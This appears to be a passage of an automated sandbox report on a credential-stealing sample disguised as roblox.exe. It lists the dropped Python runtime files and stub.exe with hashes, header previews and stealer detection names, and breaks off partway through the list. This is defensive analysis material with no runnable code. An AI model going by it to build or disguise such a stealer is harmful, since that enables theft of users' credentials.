Entropy (8bit):	6.002098953253968
Encrypted:	false
SSDEEP:	3072:UhIDGtzShE3z/JHPUE0uev5J2oE/wu3rE923+nuI5Piev9muxISt710Y:UhIqtzShE3zhvyue5EMnuaF9mu3
MD5:	35F66AD429CD636BCAD858238C596828
SHA1:	AD4534A266F77A9CDCE7B97818531CE20364CB65
SHA-256:	58B772B53BFE898513C0EB264AE4FA47ED3D8F256BC8F70202356D20F9ECB6DC
SHA-512:	1CCA8E6C3A21A8B05CC7518BD62C4E3F57937910F2A310E00F13F60F6A94728EF2004A2F4A3D133755139C3A45B252E6DB76987B6B78BC8269A21AD5890356AD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........dI...'L..'L..'L.}.L..'L..&M..'L.."M..'L..#M..'L..$M..'L..&M..'Lz\|&M..'L..&Lt.'L)w&M..'L..M..'L..'M..'L...L..'L..%M..'LRich..'L................PE..d....K.b.........." ... ............l...................................................`............................................d...4........`.......P.......D...)...p..<.......T...............................@............................................text...x........................... ..`.rdata..J...........................@..@.data....j.......f..................@....pdata.......P....... ..............@..@.rsrc........`.......,..............@..@.reloc..<....p.......6..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\_uuid.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	23976
Entropy (8bit):	6.5352541220575695
Encrypted:	false
SSDEEP:	384:I3AVpEWz6TPQxISewl4IYiSy1pCQXdW4i/8E9VFL2Utah:ISpENTQxISewLYiSyvNWeEdy
MD5:	13AA3AF9AED86CC917177AE1F41ACC9B
SHA1:	F5D95679AFDA44A6689DBB45E93EBE0E9CD33D69
SHA-256:	51DD1EA5E8CACF7EC4CADEFDF685334C7725FF85978390D0B3D67FC8C54FE1DB
SHA-512:	E1F5DBD6C0AFCF207DE0100CBA6F1344FEB0006A5C12DC92768AB2D24E3312F0852F3CD31A416AAFEB0471CD13A6C0408F0DA62956F7870B2E22D174A8B23C45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........&Gp.G)#.G)#.G)#.?.#.G)#.=(".G)#.=,".G)#.=-".G)#.=*".G)#.=(".G)#55(".G)#.G(#.G)#.=!".G)#.=)".G)#.=.#.G)#.=+".G)#Rich.G)#................PE..d....K.b.........." ... .....&...... ........................................p.......&....`.........................................`)..L....)..x....P.......@.......4...)...`..@...`#..T........................... "..@............ ..8............................text...h........................... ..`.rdata....... ......................@..@.data........0.......$..............@....pdata.......@.......&..............@..@.rsrc........P.......(..............@..@.reloc..@....`.......2..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_helpers.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	5.723071280644947
Encrypted:	false
SSDEEP:	768:DTcl94C2NHW3W3MvYrglsf9pbjfYSLBJrIBhGyoCOpq7+xBNnQfQ0uwu:Hcl9sUmMVodbJkPhox5UQ0uB
MD5:	BF489369F5E8A61CCA71E29009DC5D95
SHA1:	54299F6521B9C397F8969CA92404F492CF572AF6
SHA-256:	652364BEA64C5CB50B81CA43A09418E75FD374FFD374DBAA193F4EBB3F9F36BD
SHA-512:	C34E607DAF025F6ECC6B8C5118468F4B1EFD82B373C1EA382BB57C33D45845DD28B62111425DDBA637C9C91DF111B1936A950D19BE872F8716FF04B5CF91BDB9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*..[n..n..n..g.5.l...g..l..%...l...g..m...g..f...g..b......m..n.....{`..o..{`..o..{`Y.o..{`..o..Richn..........PE..d......f.........." ...(.....V...... ........................................0............`.........................................0...`.......d............................ .........................................@............................................text...x........................... ..`.rdata...6.......8..................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_http_parser.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	265216
Entropy (8bit):	6.169190575012905
Encrypted:	false
SSDEEP:	3072:6VuE3wfVay+yG9N5EcV5E5V0HV5ffOxnGNp6P2eUm6PIZoHhbjI5l:qV3wfVUv5Eq5ffXKP2RgUbj2
MD5:	CFCEB0CC2F7BFE5F8E33061EB40662ED
SHA1:	8D27CFA4BF1E32C5EF17BBA4AF1815AB0523A13B
SHA-256:	489521FC6B3DE3ABD2F9F3C17DFC42919E44B53453EA439B30240A986152B07C
SHA-512:	377E3F3BDB89B486D76860D6BC66D0741F29035105F74CC9CCBF34842F5DA1E7855D9A9531B8AAAD482E708AE49BFBE012E857BF72CED2975AEB4D6B64528918
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\.<...RR..RR..RR...R..RR..SS..RRS.SS..RR..SS..RR..SR.RR..QS..RR..VS..RR..WS..RR..ZS..RR..RS..RR...R..RR..PS..RRRich..RR................PE..d......f.........." ...(.............0....................................................`.........................................@...........x....`.......@..H............p..\......................................@............@...............................text....-.......................... ..`.rdata.......@.......2..............@..@.data....F..........................@....pdata..H....@......................@..@.rsrc........`......................@..@.reloc..\....p......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_http_writer.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	5.733157245866308
Encrypted:	false
SSDEEP:	768:dFd3TU4fyPems4AhK4n+e5RtoyTyc6Ko2gs5lhpWuFPbPHDPY/Sq8lWi/m7:djTUOF1g4+er2y2HKdgsf/lHjsS7lWi
MD5:	60A5DF89F9F9812619FC145B497D7EF0
SHA1:	A52F234C1C20CA75E58CEFDDAFF82AA3AD1FE758
SHA-256:	C4F748A1BA5AFF15719358C8C98A4B3D58E9A54B0B3FE56A371ECDEFA566278F
SHA-512:	C188BCF9C617B2C1FA333B1F71342C75DA0248898D7F2BA98B887EC46EA750C04CC3EF4DF82860BC69D59FA8A746736B598F37DF8650FF3727D6342B09309974
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..Tr..r..r..{.5.p...g..p..9...p...g..q...g..z...g..~......q..r.....g`..s..g`..s..g`Y.s..g`..s..Richr..................PE..d......f.........." ...(.v...........x.......................................P............`............................................h...H...d....0....... ..0............@......`............................... ...@...............H............................text...(u.......v.................. ..`.rdata...0.......2...z..............@..@.data...(N..........................@....pdata..0.... ......................@..@.rsrc........0......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\aiohttp\_websocket.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	5.5970447917528094
Encrypted:	false
SSDEEP:	768:YrQDXgJinHx+wr47jrqJUfuk3HI6cX27T/U2HCWWwGeq:ISvHx9s7jus3H9LH5WwGe
MD5:	1D2338EFB662095C61A31B36C7FF9A0D
SHA1:	DEAEEF56D21CBDF5FED321C4574490334F4453EF
SHA-256:	6C092641F8C45B0187A3B5133720AE1BDA215E1E92A9E094AB37DAB4AA7F6642
SHA-512:	ACFD558B8CC48ED6356EA20FEAD7D87B402E67955AC1A9B8C3F8C688284376622E30297323CCCEB5A1E81F5F2443B8F6D3A0587B29D46B8CDF9AD666121C9B7E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*.H[n.&.n.&.n.&.g...l.&..g'.l.&.%.'.l.&..g%.m.&..g".f.&..g#.b.&...'.m.&.n.'...&.{`..o.&.{`&.o.&.{`..o.&.{`$.o.&.Richn.&.........................PE..d......f.........." ...(.N...D......0P....................................................`..........................................\|..d...t\|..d...............4................... s...............................q..@............`...............................text....L.......N.................. ..`.rdata...+...`...,...R..............@..@.data................~..............@....pdata..4...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\certifi\cacert.pem

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299427
Entropy (8bit):	6.047872935262006
Encrypted:	false
SSDEEP:	6144:QW1x/M8fRR1jplkXURrVADwYCuCigT/QRSRqNb7d8iu5Nahx:QWb/TRJLWURrI5RWavdF08/
MD5:	50EA156B773E8803F6C1FE712F746CBA
SHA1:	2C68212E96605210EDDF740291862BDF59398AEF
SHA-256:	94EDEB66E91774FCAE93A05650914E29096259A5C7E871A1F65D461AB5201B47
SHA-512:	01ED2E7177A99E6CB3FBEF815321B6FA036AD14A3F93499F2CB5B0DAE5B713FD2E6955AA05F6BDA11D80E9E0275040005E5B7D616959B28EFC62ABB43A3238F0
Malicious:	false
Preview:	.# Issuer: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Subject: CN=GlobalSign Root CA O=GlobalSign nv-sa OU=Root CA.# Label: "GlobalSign Root CA".# Serial: 4835703278459707669005204.# MD5 Fingerprint: 3e:45:52:15:09:51:92:e1:b7:5d:37:9f:b1:87:29:8a.# SHA1 Fingerprint: b1:bc:96:8b:d4:f4:9d:62:2a:a8:9a:81:f2:15:01:52:a4:1d:82:9c.# SHA256 Fingerprint: eb:d4:10:40:e4:bb:3e:c7:42:c9:e3:81:d3:1e:f2:a4:1a:48:b6:68:5c:96:e7:ce:f3:c1:df:6c:d4:33:1c:99.-----BEGIN CERTIFICATE-----.MIIDdTCCAl2gAwIBAgILBAAAAAABFUtaw5QwDQYJKoZIhvcNAQEFBQAwVzELMAkG.A1UEBhMCQkUxGTAXBgNVBAoTEEdsb2JhbFNpZ24gbnYtc2ExEDAOBgNVBAsTB1Jv.b3QgQ0ExGzAZBgNVBAMTEkdsb2JhbFNpZ24gUm9vdCBDQTAeFw05ODA5MDExMjAw.MDBaFw0yODAxMjgxMjAwMDBaMFcxCzAJBgNVBAYTAkJFMRkwFwYDVQQKExBHbG9i.YWxTaWduIG52LXNhMRAwDgYDVQQLEwdSb290IENBMRswGQYDVQQDExJHbG9iYWxT.aWduIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDaDuaZ.jc6j40+Kfvvxi4Mla+pIH/EqsLmVEQS98GPR4mdmzxzdzxtIK+6NiY6arymAZavp.xy0Sy6scTHAHoT0KMM0VjU/43dSMUBUc71DuxC73/OlS8pF94G3VNTCOXkNz

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	7900672
Entropy (8bit):	6.519460416205842
Encrypted:	false
SSDEEP:	49152:Hvisa2OcIo0UYN1YA2sBCT7I0XIU6iOGtlqNVwASO0AIjoI+b0vjemXSKSDhxlT3:Pi/2PTYDBCT7NY+gTNxY7GbdJ295x
MD5:	81AD4F91BB10900E3E2E8EAF917F42C9
SHA1:	840F7AEF02CDA6672F0E3FC7A8D57F213DDD1DC6
SHA-256:	5F20D6CEC04685075781996A9F54A78DC44AB8E39EB5A2BCF3234E36BEF4B190
SHA-512:	11CD299D6812CDF6F0A74BA86EB44E9904CE4106167EBD6E0B81F60A5FCD04236CEF5CFF81E51ED391F5156430663056393DC07353C4A70A88024194768FFE9D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......l..(...(...(...!...:...8......8...,...8... ...8...9...c..&...G......(...+...`...V...(.....`...)...`...)...Rich(...........................PE..d....j.f.........." ...).`Z..V........X.......................................x...........`.........................................p.r.......r...............t...............x......Cj.T....................Cj.(....Aj.@............pZ..............................text...._Z......`Z................. ..`.rdata..ZR...pZ..T...dZ.............@..@.data....+....r.......r.............@....pdata........t.......s.............@..@.reloc........x.......w.............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\frozenlist\_frozenlist.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	5.9308989665858585
Encrypted:	false
SSDEEP:	1536:ZmwCw3vZ1w4vI1FxF6S2s0suvV81dvUflo6vp9862WhFo1emYU+:Z/CwxqC+bsNlflo6h93FiemYL
MD5:	911470750962640CEB3FD11E2AEECD14
SHA1:	AF797451D4028841D92F771885CB9D81AFBA3F96
SHA-256:	5C204F6966526AF4DC0C0D6D29909B6F088C4FA781464F2948414D833B03094D
SHA-512:	637043C20DC17FBC472613C0E4F576F0A2211B7916B3488806AEC30271CF1BD84BD790518335B88910662FD4844F8ED39FA75AA278577271A966756B8CD793F7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........._5..1f..1f..1f.f..1f..0g..1f..0g..1f..4g..1f..5g..1f..2g..1f..0g..1f..0fS.1f.q9g..1f.q1g..1f.q.f..1f.q3g..1fRich..1f........................PE..d.....{e.........." ...%.....t......p.....................................................`.........................................p6..h....6..x............p..4....................&...............................$..@...............(............................text............................... ..`.rdata...I.......J..................@..@.data...P....P.......2..............@....pdata..4....p.......@..............@..@.rsrc................L..............@..@.reloc...............N..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\libcrypto-1_1.dll

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3439512
Entropy (8bit):	6.096012359425593
Encrypted:	false
SSDEEP:	98304:kw+jlHDGV+EafwAlViBksm1CPwDv3uFfJ1:1slHDG2fwAriXm1CPwDv3uFfJ1
MD5:	AB01C808BED8164133E5279595437D3D
SHA1:	0F512756A8DB22576EC2E20CF0CAFEC7786FB12B
SHA-256:	9C0A0A11629CCED6A064932E95A0158EE936739D75A56338702FED97CB0BAD55
SHA-512:	4043CDA02F6950ABDC47413CFD8A0BA5C462F16BCD4F339F9F5A690823F4D0916478CAB5CAE81A3D5B03A8A196E17A716B06AFEE3F92DEC3102E3BBC674774F2
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........R.m.R.m.R.m.[...@.m.0.l.P.m.0.h.^.m.0.i.Z.m.0.n.V.m.R.l..m..l.Y.m...n.O.m...i.+.m...m.S.m....S.m...o.S.m.RichR.m.........................PE..d...`.0b.........." ......$...................................................5......4...`..........................................x/..h...:4.@....p4.\|....p2.8....\4.......4..O....,.8...........................`.,.@............04..............................text.....$.......$................. ..`.rdata........$.......$.............@..@.data...!z....1..,....1.............@....pdata.......p2.......1.............@..@.idata..^#...04..$....3.............@..@.00cfg..u....`4.......3.............@..@.rsrc...\|....p4.......3.............@..@.reloc...y....4..z....3.............@..B................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\libffi-7.dll

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	32792
Entropy (8bit):	6.3566777719925565
Encrypted:	false
SSDEEP:	384:2nypDwZH1XYEMXvdQOsNFYzsQDELCvURDa7qscTHstU0NsICwHLZxXYIoBneEAR8:2l0Vn5Q28J8qsqMttktDxOpWDG4yKRF
MD5:	EEF7981412BE8EA459064D3090F4B3AA
SHA1:	C60DA4830CE27AFC234B3C3014C583F7F0A5A925
SHA-256:	F60DD9F2FCBD495674DFC1555EFFB710EB081FC7D4CAE5FA58C438AB50405081
SHA-512:	DC9FF4202F74A13CA9949A123DFF4C0223DA969F49E9348FEAF93DA4470F7BE82CFA1D392566EAAA836D77DDE7193FED15A8395509F72A0E9F97C66C0A096016
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6.3.r}]Ar}]Ar}]A{..Ap}]A .\@p}]A..\@q}]Ar}\AU}]A .X@~}]A .Y@z}]A .^@q}]A..Y@t}]A..^@s}]A..]@s}]A.._@s}]ARichr}]A........................PE..d......].........." .....F...$.......I....................................................`..........................................j.......m..P....................f...............b...............................b...............`.. ............................text....D.......F.................. ..`.rdata..H....`.......J..............@..@.data................^..............@....pdata...............`..............@..@.reloc...............d..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\libssl-1_1.dll

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	698784
Entropy (8bit):	5.533720236597082
Encrypted:	false
SSDEEP:	12288:waXWJ978LddzAPcWTWxYx2OCf2QmAr39Zu+DIpEpXKWRq0qwMUxQU2lvz:dddzAjKnD/QGXKzpwMUCU2lvz
MD5:	DE72697933D7673279FB85FD48D1A4DD
SHA1:	085FD4C6FB6D89FFCC9B2741947B74F0766FC383
SHA-256:	ED1C8769F5096AFD000FC730A37B11177FCF90890345071AB7FBCEAC684D571F
SHA-512:	0FD4678C65DA181D7C27B19056D5AB0E5DD0E9714E9606E524CDAD9E46EC4D0B35FE22D594282309F718B30E065F6896674D3EDCE6B3B0C8EB637A3680715C2C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{.T.?.:.?.:.?.:.6f..3.:.]f;.=.:..l;.=.:.]f?.3.:.]f>.7.:.]f9.;.:..g;.<.:.?.;...:..g>...:..g:.>.:..g.>.:..g8.>.:.Rich?.:.........PE..d.....0b.........." .....<...T......<................................................[....`.........................................00...N..HE..........s.......\|M..............h... ...8...............................@............0..H............................text....:.......<.................. ..`.rdata..:....P...0...@..............@..@.data...AM.......D...p..............@....pdata..dV.......X..................@..@.idata..PW...0...X..................@..@.00cfg..u............d..............@..@.rsrc...s............f..............@..@.reloc..a............n..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\multidict\_multidict.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	47616
Entropy (8bit):	5.316469446718147
Encrypted:	false
SSDEEP:	768:3Y2vE6F6hmSrnDe651sYEYMXMBkYcE6n0/d3g:oAoVDeWlEEBkYcDni
MD5:	95463F615865A472F75DDB365644A571
SHA1:	91F22EF3F2FFD3E9D6CE6E58BEEA9A96287B090B
SHA-256:	9EE77474D244A17337D4CCC5113FE4AF7B4D86F9969293A884927718D06E63C8
SHA-512:	E3CCCCE9EBF5E7CF33E68046D3E7B59E454CCB791635EB5F405977FD270126EF8B58E6288DBE58C96B681361D81EF28720EBA8D0BD389BFB0F4C3114D098A117
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o.T.............v?............v........................&{................................S.............Rich............PE..d....\|.f.........." ...).\...`......`^....................................................`.............................................d.......d...............................L.......................................@............p...............................text....Z.......\.................. ..`.rdata...,...p.......`..............@..@.data....#..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..L...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\pyexpat.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	198568
Entropy (8bit):	6.360283939217406
Encrypted:	false
SSDEEP:	3072:rkPTemtXBsiLC/QOSL6XZIMuPbBV3Dy9zeL9ef93d1BVdOd8dVyio0OwUpz1RPoi:AKmVG/pxIMuPbBFEFDBwpp2W
MD5:	6BC89EBC4014A8DB39E468F54AAAFA5E
SHA1:	68D04E760365F18B20F50A78C60CCFDE52F7FCD8
SHA-256:	DBE6E7BE3A7418811BD5987B0766D8D660190D867CD42F8ED79E70D868E8AA43
SHA-512:	B7A6A383EB131DEB83EEE7CC134307F8545FB7D043130777A8A9A37311B64342E5A774898EDD73D80230AB871C4D0AA0B776187FA4EDEC0CCDE5B9486DBAA626
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O...........6...k.....k.....k.....k.....o............\|.o.....o.....o.Z...o.....Rich..................PE..d....K.b.........." ... ............0................................................0....`.........................................`...P................................)..........@6..T............................5..@............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\python3.dll

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	64936
Entropy (8bit):	6.1037683983631625
Encrypted:	false
SSDEEP:	768:kD8LeBLeeFtp5V1BfO2yvSk70QZF1nEyjnskQkr/RFB1qucwdBeCw0myou6ZwJqL:kDwewnvtjnsfwaVISQ0a7SydEnn
MD5:	07BD9F1E651AD2409FD0B7D706BE6071
SHA1:	DFEB2221527474A681D6D8B16A5C378847C59D33
SHA-256:	5D78CD1365EA9AE4E95872576CFA4055342F1E80B06F3051CF91D564B6CD09F5
SHA-512:	DEF31D2DF95CB7999CE1F55479B2FF7A3CB70E9FC4778FC50803F688448305454FBBF82B5A75032F182DFF663A6D91D303EF72E3D2CA9F2A1B032956EC1A0E2A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........f..A.e.A.e.A.e.%}m.@.e.%}e.@.e.%}..@.e.%}g.@.e.RichA.e.........................PE..d....K.b.........." ... ..................................................................`.........................................`...`................................)..............T............................................................................rdata..............................@..@.rsrc...............................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\python310.dll

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4493736
Entropy (8bit):	6.465157771728023
Encrypted:	false
SSDEEP:	49152:5vL1txd/8sCmiAiPw+RxtLzli0Im3wOc+28Ivu31WfbF9PtF+FNDHaSclAaBlh7y:Dw7Ad07RmodacSeSHCMTbSp4PS
MD5:	C80B5CB43E5FE7948C3562C1FFF1254E
SHA1:	F73CB1FB9445C96ECD56B984A1822E502E71AB9D
SHA-256:	058925E4BBFCB460A3C00EC824B8390583BAEF0C780A7C7FF01D43D9EEC45F20
SHA-512:	FAA97A9D5D2A0BF78123F19F8657C24921B907268938C26F79E1DF6D667F7BEE564259A3A11022E8629996406CDA9FA00434BB2B1DE3E10B9BDDC59708DBAD81
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......+.o...o...o.......m.......b.......c.......g.......k...f.`.u......f...o...3..............n.......n.......n...Richo...................PE..d....K.b.........." ... ..#...!.....\|!........................................E.....{.D...`..........................................G=.......>.\|.....E.......B......hD..)....E..t...Q%.T...........................`P%.@.............#.0............................text.....#.......#................. ..`.rdata...\....#..^....#.............@..@.data... ....0>.......>.............@....pdata........B.. ....A.............@..@PyRuntim`.....D.......C.............@....rsrc.........E.......C.............@..@.reloc...t....E..v....C.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\select.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29096
Entropy (8bit):	6.4767692602677815
Encrypted:	false
SSDEEP:	384:rPxHeWt+twhCBsHqF2BMXR6VIS7GuIYiSy1pCQkyw24i/8E9VFL2Ut8JU:ZeS+twhC6HqwmYVIS7GjYiSyv7VeEdH
MD5:	ADC412384B7E1254D11E62E451DEF8E9
SHA1:	04E6DFF4A65234406B9BC9D9F2DCFE8E30481829
SHA-256:	68B80009AB656FFE811D680585FAC3D4F9C1B45F29D48C67EA2B3580EC4D86A1
SHA-512:	F250F1236882668B2686BD42E1C334C60DA7ABEC3A208EBEBDEE84A74D7C4C6B1BC79EED7241BC7012E4EF70A6651A32AA00E32A83F402475B479633581E0B07
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{?t..Q'..Q'..Q'.b.'..Q'.`P&..Q'.`T&..Q'.`U&..Q'.`R&..Q'.`P&..Q'..P'..Q'5hP&..Q'.`\&..Q'.`Q&..Q'.`.'..Q'.`S&..Q'Rich..Q'........................PE..d....K.b.........." ... .....2......................................................l.....`..........................................@..L....@..x....p.......`.......H...)......L....3..T............................2..@............0...............................text............................... ..`.rdata..H....0......................@..@.data........P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..L............F..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1445800
Entropy (8bit):	6.579172773828651
Encrypted:	false
SSDEEP:	24576:tU3g/eNVQHzcayG7b99ZSYR4eXj98nXMuVp+qbLKeq98srCIS:ck3hbEAp8X9Vp+2q2gI
MD5:	926DC90BD9FAF4EFE1700564AA2A1700
SHA1:	763E5AF4BE07444395C2AB11550C70EE59284E6D
SHA-256:	50825EA8B431D86EC228D9FA6B643E2C70044C709F5D9471D779BE63FF18BCD0
SHA-512:	A8703FF97243AA3BC877F71C0514B47677B48834A0F2FEE54E203C0889A79CE37C648243DBFE2EE9E1573B3CA4D49C334E9BFE62541653125861A5398E2FE556
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\|{.............e.......g.......g.......g.......g......Po...............g.......g.......g.....g......Rich............PE..d....L.b.........." ... ..................................................... .......`....`..............................................!...................0...........)......\|...Pg..T............................f..@............ ..(............................text............................... ..`.rdata..D.... ......................@..@.data...0A.......8..................@....pdata.......0......................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe

Download File

Process:	C:\Users\user\Desktop\roblox.exe
File Type:	PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	16927232
Entropy (8bit):	6.302915230044252
Encrypted:	false
SSDEEP:	98304:t1AOB/8NakwZBOCjzAI3WtPV+SBMmL5kPAcEpbfNuHb9BwPmBPwYqMx7dF5C/qq6:t1AlAkDw/s05IrNpdc0
MD5:	D09A400F60C7A298E884F90539E9C72F
SHA1:	41582BA130BEF907E24F87534E7A0FDD37025101
SHA-256:	700962AA295E2FA207FF522E2F5CA051A2929EB6F252D42C9CB0A56A4F084BFE
SHA-512:	D8BA2859BB2EA109C1CA33CB924E40BF61DB79AEFB59324101D9F47A08835D86834790D3BC6BAD4151A561EF82265B32D5111BC80F95DCE769C5EB4DA5116CC9
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, Author: Joe Security Rule: JoeSecurity_MonsterStealer, Description: Yara detected Monster Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\stub.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...(b[g...............+.....F......%..........@.....................................8....`.....................................................49.......R......G.......................................... N..(.......................(............................text...X...........................`..`.data...0....0....... ..............@....rdata..............................@..@.eh_fram.............\|..............@....pdata...G.......H...~..............@..@.xdata.............................@..@.bss.....................................idata..49.......:...z..............@....CRT....`..........................@....tls...............................@....rsrc.....R......R.................@..@.reloc...............>..............@..B................................................................................................................................

C:\Users\user\AppData\Local\Temp\onefile_6600_133790036363528352\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\roblox.exe
